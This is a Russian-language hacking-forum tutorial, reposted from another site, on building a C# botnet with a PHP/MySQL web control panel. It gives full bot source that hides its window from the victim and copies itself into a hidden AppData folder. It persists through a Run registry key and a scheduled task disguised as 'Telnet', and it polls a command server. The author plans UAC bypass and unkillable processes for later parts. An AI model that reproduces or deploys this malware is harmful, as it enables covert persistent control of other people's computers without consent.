• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пишем свой ботнет. Simple Botnet на C# (исходники, панель, сервер)

pablo

(L2) cache
Пользователь
Регистрация
01.02.2019
Сообщения
433
Реакции
1 524
Simple Botnet на C# — Часть 1
У вас должно быть более 20 сообщений для просмотра скрытого контента.

Содержание статьи:

1. Вступление
2. Установка необходимого программного обеспечения
3. Создание нового проекта и добавление необходимых компонентов
4. Написание базовых методов

4.1 Запись бота в автозагрузку и планировщик задач
4.2 Получение команды от сервера
4.2.1 Простая веб-панель
4.2.2 Получение и обработка нескольких команд
5. Заключение


1. Вступление


Добрый день, уважаемые форумчане. Сегодня мы попробуем написать один самых популярных видов темных сетей - ботнет. В нашем случае, ботнетом я назову зомби-сеть, где у нас под управлением есть некоторое количество машин, готовых сделать для нас практически все.

На хакерских форумах, особенно в ТОР продаются готовые ботнеты, которые можно купить не так уж и дорого (от 2-3 килорублей). Но, в таком случае, мы не можем быть уверены в конфиденциальности и приватности купленной технологии. Например, в него может быть встроенный кейлогер, или вторая схема управления, которая "уведет" твой бот.

Толи дело написать код ботнета самому. Это и для практики программирования полезно (мозгом надо пользоваться, чтоб он не атрофировался), да и своя рубашка, как говорится, ближе к телу.

Сам ботнет, как и полагается, будет состоять из серверной и клиентской части. Правда, в данном примере серверная часть - это та, которая будет установлена у пользователя на компьютере, а клиентская - это наш WEB-интерфейс, который и будет отправлять команды на выполнение. Немного перепутано, но в процессе написания и доработки до готового "под ключ" ботнета, этот недочет встанет на круги своя.

Серверную часть будем писать на ЯП C#. Правда, тут есть один минус - вся эта богодельня зависит от .NET Framework. Но переживать по этому поводу я бы не стал, так как у большинства пользователей он уже установлен. Клиент у нас будет на PHP.

Сегодня мы попробуем достичь следующих целей:
  1. Написать функцию, которая будет получать ответ от сервера и вытаскивать из нее команду.
  2. Написать функцию, которая будет записывать нашего бота в автозагрузку и Scheduler (Планировщик задач).
  3. Написать веб-панель на HTML+PHP, который будет отправлять команду жертве.
  4. Реализовать обработку нескольких простых команды Send Message, Open CD, Close CD.
В данной статье я постараюсь объяснить, как вы уже поняли, написание "скелета" нашего ботнета, а для этого достаточно будет хранить команды в обычном файле. В следующей же части будем насаживать на скелет мясо попытаемся подружиться с бд (база данных) и сделать все действия этой без лишних файлов. Также, попробуем сделать статистику пользователей, которая будет хранить как системную информацию о машине, так и географические данные. Ну и напоследок, заставим бота показывать статус (online, offline) и обрабатывать еще больше команд. Как говорится, дальше - больше.


2. Установка необходимого программного обеспечения

Для дальнейшей работы, нам понадобится несколько программ:
  1. Microsoft Visual Studio 2017 Community - среда разработки программного обеспечение, на таких языках программирования как, C#, C++. Почему версия 2017 года? Да потому, что он отлично справляется со своей задачей на средних машинах. Моя виртуальная машина, как раз из таких. Скачать
  2. Sublime Text 3 - популярный текстовый редактор. Я использую его, как редактор файлов типа PHP, HTML и т.п, так как он очень удобен в этом плане. Скачать (x64 | x32). Но это уже личное предпочтение, если ты супер гик, можешь писать и в nano :)
  3. Нам нужен сервер, где и будет располагаться наш контроллер (он же клиент), т.е веб-панель. Если же его нет, для тестового использования, можно воспользоваться локальной машиной.
Для установки локального сервера на Windows машину, нам потребуется Денвер. Денвер (от сокр. Д.н.w.р или ДНВР — джентльменский набор Web-разработчика) — набор дистрибутивов (локальный сервер WAMP) и программная оболочка, предназначенные для создания и отладки сайтов. Скачивание и Установка
Для установки локального сервера на Linux машину, нам потребуется LAMP. LAMP — акроним, обозначающий набор (комплекс) серверного программного обеспечения. LAMP назван по первым буквам входящих в его состав компонентов (Linux-Apache-MySQL-PHP), который включает в себя Linux, Apache, MySQL и PHP. Установка и настройка LAMP


3. Создание нового проекта и добавление необходимых компонентов

Итак, приступим.

Открываем Visual Studio, создаем новый проект Windows Forms и называем его Simple Botnet.

Рисунок 1. Создание нового проекта
8.png

Нажимаем на форму, справа находим вкладку Свойства и устанавливаем значения соответствующие этим:
Код:
Text: пусто,
WindowsState: Minimized,
ControlBox: false,
MaximizeBox: false,
MinimizeBox: false,
ShowIcon: false,
ShowInTaskBar: false,
Opacity: 0%.
Данные действия нужны для того, чтобы наша форма не была видна жертве. Далее кидаем компонент Timer из панель элементов на форму.

Рисунок 2. Ищем компонент Timer в Панели элементов
9.png


Устанавливаем значение ему в Свойствах:
Код:
Enabled:false,
Interva: 3000
Таймер нам нужен для того, чтобы каждый раз, через определенное время вызывать функцию, которая будет получать команду от сервера, для ее обработки и выполнения на машине жертвы. В данный момент таймер не активен, он будет "включен" дальше, после выполнения предварительной подготовки.


4. Написание базовых методов

Теперь, двойным кликом на форму открываем редактор кода.

Устанавливаем несколько переменных типа string и пишем код, который скроет форму
C#:
public static string hpath ;
public static string url = "http://site.ru/index.php";   // Адрес нашего сайта
private void Form1_Load(object sender, EventArgs e)
{
this.TopMost = true;
this.ShowInTaskbar = false;
this.ShowIcon = false;
this.ShowInTaskbar = false;
this.FormBorderStyle = FormBorderStyle.FixedToolWindow;
WindowState = FormWindowState.Minimized;
hpath = Environment.GetEnvironmentVariable("APPDATA") + @"\goodsmile\";
CheckEx();
}
В переменной hpath мы указываем путь папке, которая будет храниться в AppData\Roaming\goodsmile. Она нам понадобится в дальнейшем. Наличие этой папки будет проверять функция CheckEx. Так же, в случае отсутствия такого пути, она создаст необходимые папки и сделает последнюю скрытой.


4.1 Запись бота в автозагрузку и планировщик задач

Далее подключаем нескольких необходимых библиотек.
Код:
using System.IO; // для работы с файлами и папками
using System.Diagnostics; // для взаимодействия с системными процессами
C:
public void CheckEx()
{
if (!Directory.Exists(hpath))
{
DirectoryInfo mydir;
mydir = Directory.CreateDirectory(hpath + @"\goodsmile");
mydir.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
Directory.CreateDirectory(hpath + @"\goodsmile");  // Создаем папку goodsmile и делаем его скрытым
mydir.Refresh();
}
// Если нету папки, создаем
if (!File.Exists(hpath + @"\bot.exe"))
{
File.Copy(Application.ExecutablePath, hpath + @"\bot.exe"); // Если нету бота, копируем и запускаем его оттуда
Process.Start(hpath+@"\bot.exe"); // Запускаем бота из родной папки
Environment.Exit(0); // Завершаем текущий процесс
}
}
И займемся записью бота в автозагрузку и шедулер. Подключаем библиотеку для управления реестром
Код:
using Microsoft.Win32;
Далее нам нужно скачать библиотеку для управления планировщиком задач.
Открываем Средства > Диспетчер пакетов NuGet > Консоль диспетчера пакетов и пишем
Код:
Install-Package TaskScheduler
После этого установится сторонняя библиотеки для работы с планировщиком задач.

Еще нам нужно внедрить библиотеку в наш исполняемый файл, чтоб не таскать его везде. В Обозревателе решений нажимаем на Ссылки и выбираем Microsoft.Win32.TaskScheduler -> откроется окно свойств библиотеки, где мы должны установить значение:
Код:
Копировать локально: False
После этих действий, нам нужно добавить в проект сам .dll файл. Для этого, в обозревателе решений, кликаем правой кнопкой мыши на наш проект -> Добавить -> Существующий элемент

Рисунок 3. Открываем окошко для добавления библиотеки в проект
1.png



И выбираем Microsoft.Win32.TaskScheduler.dll из папки наш проект\packages\TaskScheduler\lib\40\(по крайнер мере, у меня было так)

Рисунок 4. Добавляем библиотеку в проект
2.png



И жмем добавить. В Обозревателе решений появится этот файл с полным названием. Открываем его свойства, и устанавливаем значение
Код:
Действие при сборе: Внедренный ресурс
Далее нам нужно написать функцию, которая будет вызывать встроенные библиотеки. Подключаем еще одну библиотеку
Код:
using using System.Reflection;
C#:
   public static class Resolver
        {
            private static volatile bool _loaded;

            public static void RegisterDependencyResolver()
            {
                try
                {
                    if (!_loaded)
                    {
                        AppDomain.CurrentDomain.AssemblyResolve += OnResolve;
                        _loaded = true;
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.ToString());
                }
            }

            private static Assembly OnResolve(object sender, ResolveEventArgs args)
            {

                Assembly execAssembly = Assembly.GetExecutingAssembly();
                string resourceName = String.Format("{0}.{1}.dll",
                    execAssembly.GetName().Name,
                    new AssemblyName(args.Name).Name);

                using (var stream = execAssembly.GetManifestResourceStream(resourceName))
                {
                    int read = 0, toRead = (int)stream.Length;
                    byte[] data = new byte[toRead];

                    do
                    {
                        int n = stream.Read(data, read, data.Length - read);
                        toRead -= n;
                        read += n;
                    } while (toRead > 0);

                    return Assembly.Load(data);
                }
            }
И добавляем в начало функции Form1_Load следующую строчку
Код:
Resolver.RegisterDependencyResolver();
Он вызывает метод, для работы со встроенными библиотеками, в нашем случае это TaskScheduler.
Теперь напишем функции для записи бота в автозагрузку и шедулер
C#:
      public static bool SetAutorunValue(bool autorun)
        {
            RegistryKey key = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");

            try
            {
                if (autorun)
                {
                    key.SetValue("Simple botnet", path);
                }
                else
                    key.DeleteValue("Simple botnet", false);

                key.Close();
            }
            catch
            {
                return false;
            }
            return true;
        }

        public static void WriteScheduler(bool can)
        {
            try
            {
                using (TaskService ts = new TaskService())
                {
                    if (can)
                    {
                        TaskDefinition td = ts.NewTask();
                        td.RegistrationInfo.Description = "Включить авто-запуск для службы Telnet."; // Заголовок задачи в шедулере

                        TimeTrigger trigger = new TimeTrigger(); // Создаев новый триггер времени
                        trigger.StartBoundary = DateTime.Now; // Указываем нынешнюю дату
                        trigger.Repetition.Interval = TimeSpan.FromMinutes(30); // Интервал, через которое будет запуске бота. В нашем случае - через каждые 30 минут.
                        td.Triggers.Add(trigger); // Добавляем ранее созданный триггер времени в шедулер
                        td.Actions.Add(new ExecAction("pcalua.exe", " -a " + path, null)); // Указываем путь до нашего бота. В качестве лаунчера, будем юзать pcalua.exe
                        ts.RootFolder.RegisterTaskDefinition(@"Telnet", td); // Название задачи в шедулере
                    }
                    if (!can)
                    {
                        TaskDefinition td = ts.NewTask();
                        ts.RootFolder.DeleteTask("Telnet");
                    }
                }
            }
            catch (Exception ex)
            {
Console.WriteLine(ex.ToString());
            }
        }
    }
и будем вызывать их так
C#:
        public static void SystemWrite(bool can)
        {
            if (can)
            {
                SetAutorunValue(true);
                WriteScheduler(true);
            }
            if (!can)
            {
                SetAutorunValue(false);
                WriteScheduler(false);
            }
        }
В функцию CheckEx в конец добавим строчку для вызова метода SystemWrite
Код:
SystemWrite(true);
Эта строчка будет отвечать за запись бота в автозагрузку и шедулер. Половину пути мы прошли. Теперь напишем функцию, которая будет получать команду от сервера.


4.2 Получение команды от сервера

Для работы с сетью, подключаем библиотеку System.Net
C#:
using System.Net;
И
C:
        public void GetCommand()
        {
           HttpWebRequest req = (HttpWebRequest)WebRequest.Create(url+"?getcmd");
            HttpWebResponse response = (HttpWebResponse)req.GetResponse();
            string cmd = new StreamReader(response.GetResponseStream()).ReadToEnd();
            Console.WriteLine(cmd); // Выводим в консоль команду
        }
Теперь нам нужно снова зайти на форму, дважды нажать на таймер и написать строчку для вызова метода получения команды.
C:
        private void timer1_Tick(object sender, EventArgs e)
{
GetCommand();
}
Как я уже говорил, таймер у нас отключен. Пришло время его активировать, и для этого переходим к функции CheckEx и добавляем следующую строчку
Код:
timer1.enabled = true;
После чего таймер включится, и мы будем получать команду.


4.2.1 Простая веб-панель

Настало время написать клиент.
Изначально, для теста, сделаем на нашем сервере файл index.php с содержимым
PHP:
<?php
    echo 'q';
    ?>
При обращении к этому файлу, он должен возвращать букву q. Заливаем его на наш сервер и в переменной url изменяем значение на свой адрес сайта с полным путем файла index.php.
Запускаем, иии...

Рисунок 5. Получение и вывод команды в консоль
3.png


Ура. Наш код работает. Каждые 3 секунды, в консоль выводится команда, которую мы указали в файле index.php (echo 'q').

Далее попробуем сделать контроллер, который будут отвечать за запись полученной команды в файл.

Контроллер (HTML+PHP) сделаем в одном файле и назовем его index.php.

Копипастим следующее содержимое в файл index.php, заливаем его на сервер и даем права 777
PHP:
<?php
if (isset($_POST['cmd']))
{
  $cmd = $_POST['cmd'];
  if ($cmd == "q" && $_POST['message'] != "") // если команда=команда для вывода сообщения, то получаем и записываем сообщение в файл
  {
  $message = $_POST['message'];
$fd = fopen("message.txt", 'w') or die("не удалось создать файл"); // Открываем файл для записи сообщения
fwrite($fd, $message); // Записываем сообщение
fclose($fd); // Закрываем файл
}
$fd = fopen("command.txt", 'w') or die("не удалось создать файл"); // Открываем основной файл для записи команд
fwrite($fd, $cmd); // Записываем команду в файл
fclose($fd); // Закрываем
}
else
if (isset($_GET['getcmd']))  // Если отправлен GET запрос с переменной getcmd, в качестве ответа вернуть содержимое command.txt(файл с командой) на экран
{
  $fd = fopen("command.txt", 'r') or die("не удалось открыть файл");
while(!feof($fd))
{
$str = htmlentities(fgets($fd));
echo $str;
}
fclose($fd);
$fd = fopen("command.txt", 'w') or die("не удалось создать файл");
fwrite($fd, "null");
fclose($fd);
}
else
if (isset($_GET['getmessage']))
{
    $fd = fopen("message.txt", 'r') or die("не удалось открыть файл");
while(!feof($fd))
{
$str = htmlentities(fgets($fd));
echo $str;
}
fclose($fd);
}
else
{
?>
<!DOCTYPE html>
<html>
<head>
  <title>Web Controller</title>
    <meta charset="UTF-8">
</head>
  <body style="background-color:#212020">
    <div style="display: table; margin: 0 auto; text-align: center;">
   <form align="center" method="POST">
  <select name="cmd" align="center">
  <option value="q">Send Message</option>
  <option value="w">Open CD</option>
  <option value="t">Close CD</option>
  </select>
  <p><input type="text" placeholder="Hello World!" name="message"></p>
  <p><input type=submit value="Send"></p>
  </form></div>
  </body>
  <?
}
?>
?>
В результате получаем простую веб-панель. В будущем сделаем ему красивый дизайн.


Рисунок 6. Обзор веб-панели
4.png



4.2.2 Получение и обработка нескольких команд

Теперь будем доделывать серверную часть. Для начала обновляем список подключенных библиотек
C#:
using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.IO;
using System.Windows.Forms;
using Microsoft.Win32.TaskScheduler;
using System.Reflection;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
После public partial class Form1 : Form { добавляем метод для работы с CD-приводом
C:
        [DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi)]
protected static extern int mciSendString(string mciCommand, StringBuilder returnValue, int returnLength, IntPtr callback);
Теперь переходим к методу GetCommand, убираем Console.WriteLine(cmd); и добавляем следующее:
C:
switch (cmd)
            {
                case "q":
                    HttpWebRequest msg = (HttpWebRequest)WebRequest.Create(url+"?getmessage"); // Создаем http запрос
                    HttpWebResponse msgres = (HttpWebResponse)msg.GetResponse(); // получаем ответ от сервера
                    string message = new StreamReader(msgres.GetResponseStream()).ReadToEnd(); // читаем ответ и присваиваем его значение переменной message
                    MessageBox.Show(message); // Вывести сообщение
                    break;
                case "w":
                    mciSendString("set cdaudio door open", null, 0, IntPtr.Zero); // Открыть CD
                    break;
                case "e":
                    mciSendString("set cdaudio door closed", null, 0, IntPtr.Zero); // Закрыть CD
                    break;
                case "null":
                    Console.WriteLine("No task!");
                    break;
            }
Запускаем наш проект, видим, что сервер команд не вернул.

Рисунок 7. Анализируем консоль

5.png


Открываем нашу веб-панель и, для примера, отправляем команду для отображения сообщения.

Рисунок 8. Отправляем команду через веб-панель

6.png


Нажимаем Send

Рисунок 9. Результат получения и обработки команды

7.png



Вауля! Наш ботнет работает отлично.

Для тех, кто затрудняется собрать код по частям, я приведу весь код

C#:
using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.IO;
using System.Windows.Forms;
using Microsoft.Win32.TaskScheduler;
using System.Reflection;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;

namespace Simple_Botnet
{
    public partial class Form1 : Form
    {
        [DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi)]
        protected static extern int mciSendString(string mciCommand, StringBuilder returnValue, int returnLength, IntPtr callback);
        public Form1()
        {
            InitializeComponent();
        }
        public static string hpath;
        public static string path = Application.ExecutablePath;
        public static string url = "http://site.ru/Test/index.php";
        private void Form1_Load(object sender, EventArgs e)
        {
Resolver.RegisterDependencyResolver();
            this.TopMost = true;

            this.ShowInTaskbar = false;

            this.ShowIcon = false;

            this.ShowInTaskbar = false;

            this.FormBorderStyle = FormBorderStyle.FixedToolWindow;

            WindowState = FormWindowState.Minimized;
            hpath = Environment.GetEnvironmentVariable("APPDATA") + @"\goodsmile";
            CheckEx();
        }
        public void CheckEx()
        {
            if (!Directory.Exists(hpath))
            {
                DirectoryInfo mydir;
                mydir = Directory.CreateDirectory(hpath + @"\goodsmile");
                mydir.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
                Directory.CreateDirectory(hpath + @"\goodsmile");
                mydir.Refresh();
            }
            // Если нету папки, создаем
            if (!File.Exists(hpath + @"\bot.exe"))
            {
                File.Copy(Application.ExecutablePath, hpath + @"\bot.exe"); // Если нету бота, копируем и запускаем его оттуда
                Process.Start(hpath + @"\bot.exe");
                Environment.Exit(0);
            }
            SystemWrite(true);
            timer1.Enabled = true;
        }


        public void GetCommand()
        {
            HttpWebRequest req = (HttpWebRequest)WebRequest.Create(url+"?getcmd");
            HttpWebResponse response = (HttpWebResponse)req.GetResponse();
            string cmd = new StreamReader(response.GetResponseStream()).ReadToEnd();
            switch (cmd)
            {
                case "q":
                    HttpWebRequest msg = (HttpWebRequest)WebRequest.Create(url+"?getmessage");
                    HttpWebResponse msgres = (HttpWebResponse)msg.GetResponse();
                    string message = new StreamReader(msgres.GetResponseStream()).ReadToEnd();
                    MessageBox.Show(message); // Вывести сообщение
                    break;
                case "w":
                    mciSendString("set cdaudio door open", null, 0, IntPtr.Zero); // Открыть CD
                    break;
                case "e":
                    mciSendString("set cdaudio door closed", null, 0, IntPtr.Zero); // Закрыть CD
                    break;
                case "null":
                    Console.WriteLine("No task!");
                    break;
            }
        }
        public void SystemWrite(bool can)
        {
            if (can)
            {
                SetAutorunValue(true);
                WriteScheduler(true);
            }
            if (!can)
            {
                SetAutorunValue(false);
                WriteScheduler(false);
}

        }
        public static bool SetAutorunValue(bool autorun)
        {
            RegistryKey key = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");

            try
            {
                if (autorun)
                {
                    key.SetValue("Simple botnet", path);
                }
                else
                    key.DeleteValue("Simple botnet", false);

                key.Close();
            }
            catch
            {
                return false;
            }
            return true;
        }

        public static void WriteScheduler(bool can)
        {
            try
            {
                using (TaskService ts = new TaskService())
                {
                    if (can)
                    {
                        TaskDefinition td = ts.NewTask();
                        td.RegistrationInfo.Description = "Включить авто-запуск для службы Telnet.";

                        TimeTrigger trigger = new TimeTrigger();
                        trigger.StartBoundary = DateTime.Now;
                        trigger.Repetition.Interval = TimeSpan.FromMinutes(30);
                        td.Triggers.Add(trigger);
                        td.Actions.Add(new ExecAction("pcalua.exe", " -a " + path, null));
                        ts.RootFolder.RegisterTaskDefinition(@"Telnet", td);
                    }
                    if (!can)
                    {
                        TaskDefinition td = ts.NewTask();
                        ts.RootFolder.DeleteTask("Telnet");
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }
        }

        private void timer1_Tick(object sender, EventArgs e)
        {
            GetCommand();
        }
    }
    public static class Resolver
        {
            private static volatile bool _loaded;

            public static void RegisterDependencyResolver()
            {
                try
                {
                    if (!_loaded)
                    {
                        AppDomain.CurrentDomain.AssemblyResolve += OnResolve;
                        _loaded = true;
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.ToString());
                }
            }

            private static Assembly OnResolve(object sender, ResolveEventArgs args)
            {

                Assembly execAssembly = Assembly.GetExecutingAssembly();
                string resourceName = String.Format("{0}.{1}.dll",
                    execAssembly.GetName().Name,
                    new AssemblyName(args.Name).Name);

                using (var stream = execAssembly.GetManifestResourceStream(resourceName))
                {
                    int read = 0, toRead = (int)stream.Length;
                    byte[] data = new byte[toRead];

                    do
                    {
                        int n = stream.Read(data, read, data.Length - read);
                        toRead -= n;
                        read += n;
                    } while (toRead > 0);

                    return Assembly.Load(data);
                }
            }
        }
}


5. Заключение

На этом первая часть этой статьи закончена. В итоге получаем 2 файла: бот (исполняемый файл ботнета) и index.php (веб-панель). Благодарю всех читателей данной статьи. Важные термины, названия, а также пути, я выделил разными цветами. Во второй части попробуем сделать процесс нашего бота не убиваемым для простого юзера, добавим команду для самозавершения процесса, напишем метод для обхода UAC и улучшим нашу веб-панель.

P.S Ссылка на исходник с веб-панелью + проект .

Автор: GoodSmile,
взято с Codeby

 
Simple Botnet на C# - Часть 2

У вас должно быть более 25 сообщений для просмотра скрытого контента.

Содержание статьи:
  1. Вступление
  2. Установка и настройка MySQL сервера
  3. Создаем базу и данных и импортируем готовую таблицу
  4. Пишем PHP скрипты для работы с базой данных
  5. Полностью изменяем метод получения команды и пишем функцию для JSON парсинга
  6. Заключение


1. Вступление

Добрый день, всем читателям. Это вторая часть статьи по созданию простого ботнета на языке программирования C#. Первая часть неплохо зашла , это и натолкнуло меня на скорейший выпуск второй части. В предыдущей части, мы написали несколько базовых функций, благодаря которым, наш бот научился записаться в автозагрузку и планировщик задач, внедрить в себя стороннюю DLL библиотеку, а также обрабатывать несколько простых команд.

Раньше, на сервере мы записывали команду в файл, и когда бот обращался к серверу, в качестве ответа возвращалась команда так же из текстового файла. В этой же части, мы сделаем всё более эстетично: реализуем получение и отправку команд через базу данных MySQL.

Это не полнометражный фильм про хакинг пентагона, но, чувствую что будет интересно. В предыдущей статье, я упоминал, что неплохо было бы сделать статистику ботов. К сожалению, сегодня мы не сумеем это сделать, так как, наш бот только учится работать с MySQL и еще немного недорос до таких эволюционных форм. Эту функцию я добавлю в следующей части. Предполагается написать не только отображение системной информации о пк и статус бота, но и название, тип, статус антивируса, установленного на пк бота. И нет, мы не будем записывать эту информацию в текстовый файл. Как и с командами, наш сервер будет записывать всю получаемую информацию в базу данных.


2. Установка и настройка MySQL сервера

Для того, чтобы записывать данные в бд, необходимо создать эту базу данных. А для того чтобы создать ее, нам нужна сама система для управления базами данных - MySQL. Я не буду показывать как установить MySQL сервер, на ту или иную машину. В интернете достаточно много примеров. Один из них я приведу в тексте ниже.
Если вы используете хостинг для размещения командного центра (веб-панели), то там должен быть установлен PHPMyAdmin, который в несколько раз упрощает работу с базой данных. Вам необходимо зайти на панель управления хостинга и создать базу данных, указав для него логин и пароль.

Создание баз данных на хостинге Hostinger.ru

Хоть и видео названо не совсем правильно, там видно как создать базу данных на примере популярного rush хостинга.
Если командный центр находится на вашем локальном сервере под операционную систему Ubuntu, нам необходимо настроить его через терминал.

Установка MySQL сервера на Ubuntu/Mint
Если командный центр находится на локальном сервере Денвер, его необходимо настроить через встроенный PHPMyAdmin.

Настройка MySQL сервера на Денвере
Все, MySQL сервер настроили. Хоть на видео мы и создавали базу данных, нам необходимо удалить старую базу данных и создать новую.


3. Создаем базу и данных и импортируем готовую таблицу

Я покажу основной синтаксис команды CREATE DATABASE в MySQL для создания простой базы данных с кодировкой по умолчанию.Также я покажу, как создать пользователя в MySQL, задать ему пароль, дать все права на новосозданную базу данных и разрешить подключаться к ней только локально.

Для начала, запустим сервис mysql
service mysql start

Подключимся к MySQL серверу из командной строки под пользователем root:
$ mysql -u root -p
Используем следующий синтаксис для создания базы данных в MySQL:
mysql> CREATE DATABASE simplebot;
Создадим нового пользователя:
mysql> GRANT ALL PRIVILEGES ON имя_базы.* TO 'имя_пользователя'@'localhost' IDENTIFIED BY 'пароль_пользователя';
С помощью последней команды мы дали пользователю имя_пользователя все права на только что созданную базу данных имя_базы и установили ему пароль пароль_пользователя. Указывая localhost после символа @ мы разрешаем пользователю подключаться к базе данных только с самого сервера на котором установлен MySQL. Если вы хотите разрешать пользователю подключаться к базе данных удаленно, вы можете поменять localhost на IP-адрес или имя хоста.
В PHPMyAdmin создать базу данных, и в общем работать с MySQL гораздо легче.
Еще раз оставлю ссылку на сайт, в котором четко и ясно написано как настроить базу данных через PHPMyAdmin
С базами данных почти закончили. Нам нужно будет создать таблицу с колонками, где и будет храниться команда и аргументы для команд. Скорее всего, n-ая часть читателей первый раз работают с базами данных или у них это плохо получается. Именно для такого случая, я создал необходимые таблицы и колонки, и экспортировал бд в формате *.sql. Нам нужно импортировать этот файл, чтобы появилась нужная таблица.
Импорт бэкапов в PHPMyAdmin обходится в несколько кликов. В меню PHPMyAdmin кликаем по базе данных, и в нажимаем Импорт или Import в самом верхнем меню. Там выбираем *.sql файл, который вы можете скачать по этой ссылке.

1. Импортируем таблицу в базу данных через PHPMyAdmin
Далее нажимаем Вперед или Next.
Через терминал, чуть сложнее импортировать уже существующую таблицу. Для начала, запускаем mysql, если не запустили
mysql -u имя_пользователя -h localhost -p пароль
Далее, нам нужно выбрать базу данных, в которую будем импортировать нашу готовую таблицу
Пишем show databases;
Запоминаем имя базы данных, которую мы заранее создали (simplebot).
Выбираем базу данных для импорта
use simplebot;
Если при создании бд, вместо simplebot вы указали другое имя, то не забудьте изменить название и здесь.

Посмотрим список таблиц, убедимся что все пусто
show tables;

Если в результате вы видите названия таблиц, то их нужно просто удалить
drop table название_таблицы1, название_таблицы2
Таблицу очистили от лишнего мусора, осталось только импортировать готовую таблицу.Сначала скачиваем файл *.sql таблицы по этой ссылке. После чего открываем новый терминал и пишем там
mysql -u имя_пользователя -p название_бд (simplebot) < "путь до *.sql файла"
После пишем пароль, который указывали при создании бд, и всё. Если никаких ошибок не видно, мы все сделали удачно.

2. Импортируем таблицу в базу данных через терминал

Проверим импортировалась ли таблица. Запускаем mysql
mysql -u root -h localhost -p simplebot и пишем пароль.
Смотрим список баз данных
show databases;

Выбираем нашу базу
use simplebot;
Посмотрим список таблиц. Пишем
show tables;

3. Смотрим список таблиц в базе данных

Как мы видим, у нас есть таблица tasks, которую мы только что импортировали. Теперь посмотрим список колонок в таблице
describe tasks;

4. Смотрим список ячеек таблицы tasks

Отлично, у нас есть все необходимые колонки для записи команд в базу. Рассмотрим каждый по порядку
  • cid это поле для генерации уникального значения записи.
  • started у нас будет отвечать за время старта команды, т.е туда запишется время, в течение которого была отправлена команда через командный центр.
  • completed будет отвечать за время завершения команды.
  • cmd насколько вы поняли, будет хранить саму команду.
  • arg1, arg2, arg3 будут хранить аргументы для команд, например, текст сообщения для команды Send Message.
  • status будет говорить нам что случилось с командой, т.е, выполнилось оно, еще ожидается выполнение или возникла ошибка при выполнении (completed, processing, failed).
Отлично, всё на своих местах. Идем дальше.


4. Пишем PHP скрипты для работы с базой данных

Мы удачно импортировали таблицу в базу данных. Осталось написать PHP скрипты для работы с ними. Для любых операций с бд, необходимо сначала соединиться с MySQL. Наш сегодняшний первый скрипт будет - скрипт для коннекта к бд. В качестве веб-панели, у нас был один файл - index.php. На сервере нам необходимо там, где находится index.php, создать папку inc, где будет находиться скрипт для коннекта. Его мы будем инклудить при работе с базой данных. P.S если у вас Ubuntu, и у вас не установлен PHP, в терминале необходимо выполнить следующую команду
Код:
sudo apt-get install php5 libapache2-mod-php5
И так, приступим.

Работать с базой данных будем через MySQLi.

MySQLi - это замена функций mysql объектно-ориентированной и процедурной версиями. Он поддерживает подготовленные заявления.

Создаем файл config.php в недавно созданной нами папке inc. Открываем этот файл и вставляем следующий код
PHP:
<?php
$host = "localhost"; // указываем хост для коннекта
$user = "root"; // имя пользователя
$password = "simplebot"; // пароль
$db = "simplebot"; // имя базы данных
$url = "http://localhost/index.php"; // путь до index.php
$conn = mysqli_connect($host, $user, $password, $db);
if (!$conn) { //если не удалось подключиться, выводим причину на экран
    echo "Ошибка: Невозможно установить соединение с MySQL." . PHP_EOL;
    echo "Код ошибки errno: " . mysqli_connect_errno() . PHP_EOL;
    echo "Текст ошибки error: " . mysqli_connect_error() . PHP_EOL;
}
?>
Сохраняем файл. Этот скрипт откроет соединение с MySQL сервером для SQL запросов. Первый скрипт готов. Сначала удалим весь PHP код из скрипта index.php и оставляем только HTML. Copy/Paste
HTML:
<!DOCTYPE html>
<html>
<head>
  <title>Web Controller</title>
    <meta charset="UTF-8">
</head>
  <body style="background-color:#212020">
    <div style="display: table; margin: 0 auto; text-align: center;">
   <form align="center" action="server.php" method="POST">
  <select name="cmd" align="center">
  <option value="q">Send Message</option>
  <option value="w">Open CD</option>
  <option value="t">Close CD</option>
  </select>
  <p><input type="text" placeholder="Hello World!" name="message"></p>
  <p><input type=submit value="Send"></p>
  </form></div>
  </body>
Теперь создадим скрипт, который получит и запишет команду в базу данных, после чего перенаправит нас на главную страницу командного центра.

Создаем файл server.php, в папке с index.php и вносим следующий код в файл
PHP:
<?php
include("inc/config.php"); // инклудим наш конфиг файл, в котором хранятся данные для коннекта к бд

if (isset($_POST['cmd']) && $_POST['cmd'] != "" && $_POST['cmd'] != null) // если через POST запрос получена переменная cmd, и она не пустая
{
$cmd = $_POST['cmd']; // присваим значение из запрос к переменной
$arg1 = "null";
$arg2 = "null";
$arg3 = "null"; // оставим значения переменных аргументов пустыми
if ($cmd == "q") $arg1 = $_POST['message']; // если отправлена команда Send Message, присваем первому аргументу значение из переменной message

     $started = date("M,d,Y H:i:s"); // присваиваем переменной текущую дату

       $sql = "INSERT INTO tasks (started, cmd, arg1, arg2, arg3,`status`) VALUES ('$started','$cmd','$arg1','$arg2','$arg3','processing')"; // эта переменная хранит в себе запрос для записи данных (тек. время, команда, аргументы, статус)

$result = mysqli_query($conn, $sql) or die("Ошибка " . mysqli_error($conn)); // пытаемся выполнить запрос, если не получается, выводим причину ошибки

header('Location: '.$url); // перенаправляем на главную страницу командного центра
}
?>
Готово. Думаю, можно тестить. Заходим на командный центр и отправляем несколько команд

5. Отправляем первую команду через командный центр

Снимок экрана 2019-07-03 в 13.02.54.png


И еще раз..

6. Отправляем вторую команду через командный центр
Снимок экрана 2019-07-03 в 13.03.09.png


7. Проверяем базу данных
Снимок экрана 2019-07-03 в 13.03.36.png


Отлично. Наши скрипты работают как часы. Как мы видим, записались обе команды, которые мы отправляли. Так же можно заметить, что записался и аргумент команды Send Message в arg1.
